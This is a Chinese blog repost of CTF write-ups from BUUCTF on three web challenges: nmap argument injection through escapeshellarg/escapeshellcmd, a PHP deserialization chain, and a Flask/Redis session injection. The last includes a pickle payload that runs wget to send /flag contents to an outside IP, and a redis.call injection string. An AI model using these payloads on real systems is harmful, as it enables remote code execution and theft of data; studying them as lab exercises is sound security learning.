BUUCTF平台-web-邊刷邊記錄-2


1.one line tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

這道題主要是命令注入,利用escapeshellarg 和 escapeshellcmd前后使用時通過注入單引號來導致逃逸出一個單引號 從而導致可以參數注入

這里主要用到nmap的兩個參數-iL 和-oN 以任意格式輸出,-oX不行,這樣不會把/flag的內容輸出,必須要用-N才能解析/flag中的內容,從而輸出到指定的路徑,像這種短的代碼都可以拿到本地來測試,也很方便調試。

payload:' + -iL /flag + -oN 輸出路徑 

 

2.upload

這道題來自2019強網杯,直接掃描目錄就能得到源代碼,之后就進行代碼審計:

對於這種mvc框架性的web,可以直接先看其路由,然后結合路由以及控制器去看程序的邏輯

首先反序列化點在此,那么接下來要找可以利用的類,那么既然存在反序列化那么就要找__destruct方法了,一共有四個類:

但是只有index.php才存在__destruct方法,那么我們應該反序列化這個類來觸發漏洞

那么這里通過序列化profile類來進行反序列化,這里調用index()方法,而其不存在index方法,則會調用__call方法

這里__call方法又會調用name屬性,也就是index屬性,但是明顯不存在這個屬性,那么此時會調用__get方法,返回profile類的except數組中的值,當時我想的是這里能不能直接進行代碼執行,因為有這一串:

$this->{$this->{$name}}($arguments);

這里是不能夠任意代碼執行的

這里只能調用profile類中的已經定義的方法,因為是先解析出來$this->$d的值,然后再調用$this>"b"(),此時不存在b方法,並不會去解析$b變量,所以這里通過調用上傳文件方法,來達到寫shell的效果:

3.bookhub

  這道題在登陸時限制了一些內網的ip的白名單,並且給了一個外網的ip,此時修改xff是不行的,nginx獲取到的是中間轉發過去的ip地址

,而給的外網ip的5000端口就開了一個debug模型的web,buu里面直接給的debug模式下的。

        然后就是涉及未授權訪問,這里涉及到python的修飾器調用順序

正常情況下,如上圖,調用順序為login_required->user_blueprint,但是在debug模式下:

這里login_required放在了外層,那么就沒用了,可以直接訪問refresh_session方法,這里做題的時候直接觀察也可以,除了這一處其它地方login都在里層。這個函數的作用是清除除了自己的以外所有人的session

首先訪問這個路由,發現需要設置csrf token

然后回到登陸頁找到表單的csrf token值,再次訪問

此時訪問成功了,此時又涉及到session的拼接,prefix不可控,但是flask的session在客戶端,是可以控制的,因此進行拼接

 

 又因為app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:',所以可以拼接:

19a79b29-3524-4efa-99d6-3997ae425761",redis evilcode,"bookhub:session:aaa

首先對我們的bookhub:session進行一個覆蓋,賦值為aaa,然后將redis的惡意數據拼接進去,然后當我們帶着aaa這個session當問的時候就會觸發pickle反序列化來執行惡意代碼。所以接下來就是如何構造evilcode,我們可以給自己構造的session賦值為反彈shell的值。然后再帶着session觸發序列化即可。

 首先生成payload:

import cPickle
import os

class exp(object):
    def __reduce__(self):
        s="wget 104.224.146.7:23333?`cat /flag* | base64`"
        return (os.system,(s,))

e = exp()
s = cPickle.dumps(e)
s_bypass = ""
for i in s:
    s_bypass +="string.char(%s).."%ord(i)
evilcode = '''
redis.call("set","bookhub:session:tr1ple",%s)
'''%s_bypass[:-2]
payload = '''
6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:tr1ple
'''%evilcode
print payload.replace(" ","")

這里要用到cpickle來生成序列化的數據,然后再拼接到payload中

這里首先要帶着生成的payload作為cookie值去訪問login來得到csrf的token值,然后此時再向 /admin/system/refresh_session/ 頁面post我們的csrf_token&submit,此時並將payload放到bookhub-session中,此時就能夠將cookie值設置到redis中,那么此時只要再訪問login頁面就能觸發redis反序列化session中的payload,從而帶出flag的值

然后此時再觸發session的拼接,然后此時帶着bookhub-session為tr1ple的值訪問login,就會觸發反序列化

此時vps上已經接收到了flag的值

當我們進入redis,想要查看存儲的值時,可以使用keys *來查看所有存儲的值

 

import cPickle
import os class genpoc(object): def __reduce__(self): s = """wget 104.224.146.7:23333""" return os.system, (s,) evil = cPickle.dumps(genpoc()) print evil.replace("\n","\\n")

我們也可以不用轉碼來構造pickle的序列化數據

bookhub-session=aaa"} redis.call("set","bookhub:session:aaa","pickle序列化數據")--; 
通過redis.call來設置session值,這里app里已經設置了session的前綴為bookhub:session:,所以aaa的值就可以設置為序列化數據

 

此時就能夠帶上csrf_token去訪問refresh頁面來設置新的cookie值,然后再設置session為aaa去訪問login從而觸發反序列化,同樣能收到請求

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM